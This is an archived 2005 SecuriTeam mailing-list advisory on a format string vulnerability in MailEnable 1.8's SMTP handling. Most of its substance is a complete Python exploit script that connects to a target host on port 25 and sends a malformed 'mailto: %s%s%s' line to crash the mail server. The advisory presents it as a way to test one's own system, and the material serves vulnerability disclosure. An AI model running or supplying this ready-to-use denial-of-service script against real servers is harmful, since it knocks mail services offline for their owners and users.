

[EXPL] MailEnable Format String Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0090.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 03/22/05

To: list@securiteam.com

Date: 22 Mar 2005 09:55:17 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

MailEnable Format String Vulnerability

SUMMARY

<<http://www.mailenable.com/>> MailEnable's "mail server software provides a powerful, scalable hosted messaging platform for Microsoft Windows".

MailEnable contains a format string vulnerability in the it handles SMTP mailto: requests, the following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

* MailEnable version 1.8

Exploit:

```
#####  
##  
# See-security Technologies ltd. #  
##  
# http://www.see-security.com #  
##  
#####  
##
```

Securiteam: [EXPL] MailEnable Format String Vulnerability

```
# MailEnable 1.8 Format String DoS exploit #
##
# Discovered by Mati Aharoni #
##
# Coded by tal zeltzer #
##
#####

import sys
import time
import socket

def PrintLogo():
    print "#####"
    print "# #"
    print "# See-security Technologies Ltd. #"
    print "# #"
    print "# http://www.see-security.com #"
    print "# #"
    print "#####"
    print "#"+ " "*64+"#"
    print "# MailEnable 1.8 Format String DoS exploit #"
    print "#"+ " "*64+"#"
    print "# Discovered by Mati Aharoni #"
    print "# #"
    print "# Coded by tal zeltzer #"
    print "#"+ " "*64+"#"
    print "#"*66+"\n"

PrintLogo()
if (len(sys.argv) != 2):
    print "\n\n"
    print sys.argv[0] + " [Target Host]"
    sys.exit()
sSmtpSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[-] Connecting to " + sys.argv[1]
sSmtpSocket.connect((sys.argv[1],25))
print "[-] Connected to " + sys.argv[1]
print "[-] Sending malformed packet"
sSmtpSocket.send("mailto: %s%s%s\r\n")
sSmtpSocket.close()
print "[-] Malformed packet sent"

EOF
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:tal@see-security.com>> a a .

The original exploit can be found:

<<http://www.hackingdefined.com/exploits/mailenable.tar.gz>>

<http://www.hackingdefined.com/exploits/mailenable.tar.gz>

Securiteam: [EXPL] MailEnable Format String Vulnerability

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.